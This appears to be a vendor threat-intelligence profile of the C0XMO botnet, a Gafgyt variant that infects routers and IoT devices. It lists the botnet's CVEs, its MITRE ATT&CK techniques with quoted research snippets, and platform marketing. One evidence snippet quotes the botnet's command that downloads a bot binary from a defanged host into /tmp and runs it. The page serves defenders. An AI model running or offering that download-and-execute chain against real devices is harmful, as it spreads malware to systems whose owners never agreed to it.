Skip to main content
Mallory
Malware5 associated CVEs

C0XMO

Tracked since Jun 3, 2026 · Updated 3 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns5Associated
Actors0Associated
ATT&CK31Techniques
IOCs21Tracked
Type
Botnet
Capabilities
Initial accessPersistenceLateral movementDefense evasionScanningBrute forceDDOS
Delivery
Exploit kit
Platforms
AndroidLinuxIOTNetwork device

C0XMO is a modular Linux-focused variant of the Gafgyt IoT botnet, identified in March 2026. It targets internet-exposed routers, IoT devices, DVRs, and other embedded systems, initially exploiting CVE-2021-27137 in vulnerable DD-WRT UPnP implementations. Its propagation framework also performs random internet scanning, weak-credential attacks against Telnet and SSH, HTTP-based exploitation of multiple device and software vulnerabilities, and abuse of exposed Android Debug Bridge services. It identifies victim CPU architectures and deploys matching payloads across ARM, MIPS, PowerPC, SuperH, x86, and x64 systems; Android devices are also targeted through exposed ADB services. C0XMO separates scanning and lateral movement into a standalone Python component, permitting propagation methods to be updated independently of the core bot. The malware persists through concealed copies, scheduled-task execution, shell startup modifications, and process self-reexecution. It terminates competing botnets, security or administrative tooling, and associated persistence artifacts to monopolize compromised-device resources. Infected devices register with command-and-control infrastructure, can be directed to scan for further victims, and support 19 distributed-denial-of-service methods, including UDP, TCP, SYN, ICMP, HTTP flood, and amplification attacks. Activity was observed against a technology organization in Japan.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

5 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2021-27137via secpod blogExploited in the wildDD-WRT UPnP Stack-Based Buffer OverflowAttackers exploit CVE-2021-27137 in vulnerable DD-WRT routers by sending specially crafted SSDP M-SEARCH requests to UDP port 1900. Successful exploitation results in remote code execution and malware deployment. | A newly identified Gafgyt botnet variant, C0XMO, is actively targeting internet-exposed devices through vulnerability exploitation, weak-credential attacks, and automated lateral movement.View vulnerability →Source ↗
CVE-2015-2051via fortinet threat researchExploited in the wildHNAP SOAPAction Header Command Injection in D-Link DIR-645The scanner also includes numerous HTTP-based exploits for initial access, including... HNAP SOAP Injection (CVE-2015-2051). | FortiGuard Labs discovered a new Gafgyt botnet variant, C0XMO, that spreads by exploiting CVE-2021-27137. Our analysis revealed that, unlike earlier versions, this malware separates its lateral movement into a standalone Python script.View vulnerability →Source ↗
CVE-2025-34054via fortinet threat researchExploited in the wildUnauthenticated Root Command Injection in AVTECH DVR DevicesThe scanner also includes numerous HTTP-based exploits for initial access, including... AVTECH DVR Vulnerability (CVE-2025-34054, CVE-2016-15047). | FortiGuard Labs discovered a new Gafgyt botnet variant, C0XMO, that spreads by exploiting CVE-2021-27137. Our analysis revealed that, unlike earlier versions, this malware separates its lateral movement into a standalone Python script.View vulnerability →Source ↗
CVE-2022-35914via fortinet threat researchExploited in the wildRemote code execution in GLPI's bundled htmLawed libraryThe scanner also includes numerous HTTP-based exploits for initial access, including... GLPI htmLawed RCE (CVE-2022-35914). | FortiGuard Labs discovered a new Gafgyt botnet variant, C0XMO, that spreads by exploiting CVE-2021-27137. Our analysis revealed that, unlike earlier versions, this malware separates its lateral movement into a standalone Python script.View vulnerability →Source ↗
CVE-2016-15047via fortinet threat researchExploited in the wildAuthenticated OS Command Injection in AVTECH Cloud SetupThe scanner also includes numerous HTTP-based exploits for initial access, including... AVTECH DVR Vulnerability (CVE-2025-34054, CVE-2016-15047). | FortiGuard Labs discovered a new Gafgyt botnet variant, C0XMO, that spreads by exploiting CVE-2021-27137. Our analysis revealed that, unlike earlier versions, this malware separates its lateral movement into a standalone Python script.View vulnerability →Source ↗
MITRE ATT&CK

Techniques & procedures

31 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

3 techniques
T1078Valid AccountsEvidence2

The scanner performs weak password brute-force attacks on Telnet and SSH services. After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.

T1133External Remote ServicesEvidence2

In addition, the scanner exploits unauthorized access vulnerabilities in the Android Debug Bridge (ADB) to compromise exposed Android-based devices.

T1190Exploit Public-Facing ApplicationEvidence5

Attackers exploit CVE-2021-27137 in vulnerable DD-WRT routers by sending specially crafted SSDP M-SEARCH requests to UDP port 1900. Successful exploitation results in remote code execution and malware deployment.

Execution

3 techniques
T1053.003CronEvidence6

The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.

T1059.006PythonEvidence4

Unlike traditional botnets, C0XMO isolates its scanning function into an independent Python script.

T1203Exploitation for Client ExecutionEvidence5

Для заражения маршрутизаторов вредонос использует старую уязвимость CVE-2021-27137 в DD-WRT. Этот баг связан с переполнением буфера из-за некорректной обработки пользовательского ввода и позволяет выполнить произвольный код без аутентификации.

Persistence

4 techniques
T1037Boot or Logon Initialization ScriptsEvidence6

[C0XMO] modifies shell startup files such as .bashrc, .profile, and .bash_profile to ensure execution after system reboots.

T1053.003CronEvidence6

The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.

T1078Valid AccountsEvidence2

The scanner performs weak password brute-force attacks on Telnet and SSH services. After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.

T1133External Remote ServicesEvidence2

In addition, the scanner exploits unauthorized access vulnerabilities in the Android Debug Bridge (ADB) to compromise exposed Android-based devices.

Privilege Escalation

4 techniques
T1037Boot or Logon Initialization ScriptsEvidence6

[C0XMO] modifies shell startup files such as .bashrc, .profile, and .bash_profile to ensure execution after system reboots.

T1053.003CronEvidence6

The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.

T1068Exploitation for Privilege EscalationEvidence1

An unsafe strcpy in the UPnP handling functionality allows an unauthenticated remote attacker to send a request that would overflow an internal fixed buffer.

T1078Valid AccountsEvidence2

The scanner performs weak password brute-force attacks on Telnet and SSH services. After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.

Stealth

7 techniques
T1036MasqueradingEvidence4

C0XMO copies itself to hidden paths at /tmp/.sys, /var/tmp/.sys, and /dev/shm/.sys...

T1070Indicator RemovalEvidence1

It does so by deleting binaries and removing their persistence mechanisms, including cron jobs, init scripts, system services, and shell profile entries.

T1070.004File DeletionEvidence2

If it finds a match, C0XMO deletes the corresponding file from the system.

T1078Valid AccountsEvidence2

The scanner performs weak password brute-force attacks on Telnet and SSH services. After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.

T1218System Binary Proxy ExecutionEvidence2

The malware installs several required packages, including requests, paramiko, and beautifulsoup4. pip3 install requests paramiko beautifulsoup4 ... || python3 -m pip install requests paramiko beautifulsoup4

T1497Virtualization/Sandbox EvasionEvidence2

After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.

T1564.001Hidden Files and DirectoriesEvidence2

C0XMO copies itself into hidden directories including: /tmp/.sys, /var/tmp/.sys, /dev/shm/.sys, $HOME/.sys.

Defense Impairment

2 techniques
T1222File and Directory Permissions ModificationEvidence2

C0XMO copies itself to these hidden locations and sets the file permissions to 755, enabling execution.

T1685Disable or Modify ToolsEvidence3

The malware scans active processes and terminates known botnets, security tools, administrative utilities, and competing malware families.

Credential Access

2 techniques
T1110Brute ForceEvidence5

Если подходящая цель найдена, C0XMO пытается подобрать учетные данные для SSH или Telnet, определяет архитектуру и подгружает соответствующий бинарник.

T1110.001Password GuessingEvidence1

C0XMO is actively targeting internet-exposed devices through a combination of vulnerability exploitation, weak-credential attacks, and automated lateral movement.

Discovery

5 techniques
T1046Network Service DiscoveryEvidence6

The scanner then begins large-scale internet scanning operations... Random Internet Scanning Initiated → Telnet, SSH, HTTP and ADB Exploitation Attempts Executed.

T1057Process DiscoveryEvidence6

The malware scans active processes and terminates known botnets, security tools, administrative utilities, and competing malware families.

T1082System Information DiscoveryEvidence1

Target Architecture Identified → Matching Binary Deployed.

T1083File and Directory DiscoveryEvidence3

Все найденные процессы завершаются, а связанные с ними бинарники и механизмы закрепления уничтожаются.

T1497Virtualization/Sandbox EvasionEvidence2

After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.

Lateral Movement

3 techniques
T1021Remote ServicesEvidence5

The script installs requests, paramiko, and beautifulsoup4 via pip and runs 22 functions organized across six categories: worker threads, blacklist management, Telnet exploitation, SSH exploitation, HTTP exploitation, and Android Debug Bridge exploitation.

T1210Exploitation of Remote ServicesEvidence3

Its main goal is to enable lateral movement.

T1570Lateral Tool TransferEvidence5

After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload. cd /tmp ... wget -q http://malicious[.]server/bot.arch -O .cache chmod 777 .cache ./.cache

Command and Control

3 techniques
T1071Application Layer ProtocolEvidence7

After persistence is established, C0XMO connects to its command-and-control infrastructure and performs a custom multi-stage handshake.

T1095Non-Application Layer ProtocolEvidence2

In the final stage of the handshake, the bot sends the hexadecimal sequence FF FF FF FF 75 as the final magic value to the C2 server.

T1105Ingress Tool TransferEvidence6

The compromised device downloads a payload appropriate for its CPU architecture... C0XMO downloads a separate Python scanner from attacker-controlled infrastructure.

Impact

3 techniques
T1489Service StopEvidence3

Furthermore, C0XMO actively scans running processes to identify competitor botnet clients on the host, as well as red-team tools, programming tools, and network services that may interfere with its operation, and terminates them.

T1498Network Denial of ServiceEvidence4

Gafgyt is a long-running IoT malware family primarily associated with botnet operations and distributed denial-of-service (DDoS) attacks... DDoS Capability Activated.

T1499Endpoint Denial of ServiceEvidence3

C0XMO supports 19 different DDoS attack methods for various scenarios.

Indicators of compromise

Observables

21 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

10 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+6 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching21Match every observed IP, domain, and hash against your live telemetry.
Associated threat actorsGroups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities5CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping31Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.